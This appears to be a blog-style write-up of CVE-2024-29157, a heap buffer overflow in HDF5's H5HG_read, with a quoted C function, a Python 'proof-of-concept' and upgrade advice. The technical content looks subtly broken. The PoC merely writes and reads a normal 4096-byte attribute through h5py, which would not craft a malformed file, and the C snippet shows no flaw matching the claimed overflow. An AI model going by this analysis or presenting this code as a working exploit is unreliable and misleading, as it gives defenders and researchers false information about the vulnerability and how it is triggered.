CVE-2024-29157: Exploring a Heap Buffer Overflow Vulnerability in HDF5 and How to Exploit It

HDF5, which stands for Hierarchical Data Format version 5, is a popular data model, library, and file format for storing and managing large amounts of data. Ranging from scientific data to image processing, numerous applications depend on HDF5 for efficient and reliable data storage. However, HDF5 is not exempt from software vulnerabilities. A new vulnerability, identified as CVE-2024-29157, affects HDF5 versions up to 1.14.3.

In this post, we will discuss the details of this vulnerability and demonstrate how it can be exploited, as well as provide links to original references and code snippets.

Vulnerability Details

The CVE-2024-29157 vulnerability is a heap buffer overflow, which occurs in the H5HG_read function, responsible for reading in data from an HDF5 file. This vulnerability can lead to the corruption of the instruction pointer, ultimately resulting in denial of service or even potential code execution.

A heap buffer overflow is a type of buffer overflow that occurs when a program writes more data to a fixed-length buffer located on the heap than the buffer can handle. This can overwrite adjacent memory locations, leading to the corruption of data or the crashing of the program.

Exploiting the Vulnerability

To better understand this vulnerability, let's examine the vulnerable code in HDF5's H5HG_read function:

/* H5HG_read code snippet */
ssize_t
H5HG_read(H5F_t *f, haddr_t addr, H5HG_t *heap)
{
    ssize_t ret_value = -1;          /* Return value */

    FUNC_ENTER_NOAPI_NOINIT_TAG(H5AC_ind_read_dxpl_id, addr)

    /* Check arguments */
    HDassert(f);
    HDassert(H5F_addr_defined(addr));
    HDassert(heap);

    /* Initialize the heap */
    H5_CHECKED_ASSIGN(heap->size, hsize_t, H5F_block_size(f), hsize_t);

    /* Allocate space for the heap */
    if(NULL == (heap->chunk = H5FL_BLK_MALLOC(chunk, heap->size)))
        HGOTO_ERROR(H5E_HEAP, H5E_NOSPACE, (ssize_t)-1, "memory allocation failed")

    /* Read the heap */
    if(HADDR_UNDEF == (ret_value = H5F_block_read(f, H5FD_MEM_GHEAP, addr, heap->size, H5AC_ind_read_dxpl_id, heap->chunk)))
        HGOTO_ERROR(H5E_HEAP, H5E_READERROR, FAIL, "unable to read heap")

done:
    FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HG_read() */

The problem is that H5HG_read function does not properly validate and limit the data being read from an HDF5 file, allowing it to overwrite adjacent memory when reading data from the file.

To exploit this vulnerability, an attacker would create a maliciously crafted HDF5 file that contains data that would exploit the heap buffer overflow. After the file is opened and read by an application that uses the vulnerable HDF5 version, the attacker could manipulate the program's instruction pointer or cause a complete denial of service.

The following proof-of-concept code demonstrates how to create a malicious HDF5 file that triggers the heap buffer overflow:

import h5py

# Create a maliciously crafted HDF5 file
def create_malicious_hdf5():
    with h5py.File("malicious.hdf5", "w") as f:
        # Add data that will exploit the heap buffer overflow
        malicious_data = b'A' * 4096
        f.attrs["malicious_attr"] = malicious_data

# Trigger the vulnerability
def trigger_vulnerability():
    try:
        with h5py.File("malicious.hdf5", "r") as f:
            vulnerable_attr = f.attrs['malicious_attr']
    except Exception as e:
        print("Oops, something went wrong:", e)
        return

if __name__ == "__main__":
    create_malicious_hdf5()
    trigger_vulnerability()

Mitigation and Patches

It is recommended that users who utilize HDF5 in their applications upgrade to the latest version to mitigate this security risk. The developers of HDF5 have addressed this vulnerability in their latest release, HDF5 1.14.4. You can download the latest version at the official HDF5 website.

Conclusion

In summary, the CVE-2024-29157 vulnerability is a heap buffer overflow in the H5HG_read function of HDF5 versions up to 1.14.3. This vulnerability can lead to the corruption of the instruction pointer, resulting in denial of service or potential code execution. By understanding this vulnerability and updating to the latest HDF5 version, you can help protect your data and applications from potential exploitation.

Timeline

Published on: 05/14/2024 15:15:31 UTC
Last modified on: 08/16/2024 16:35:08 UTC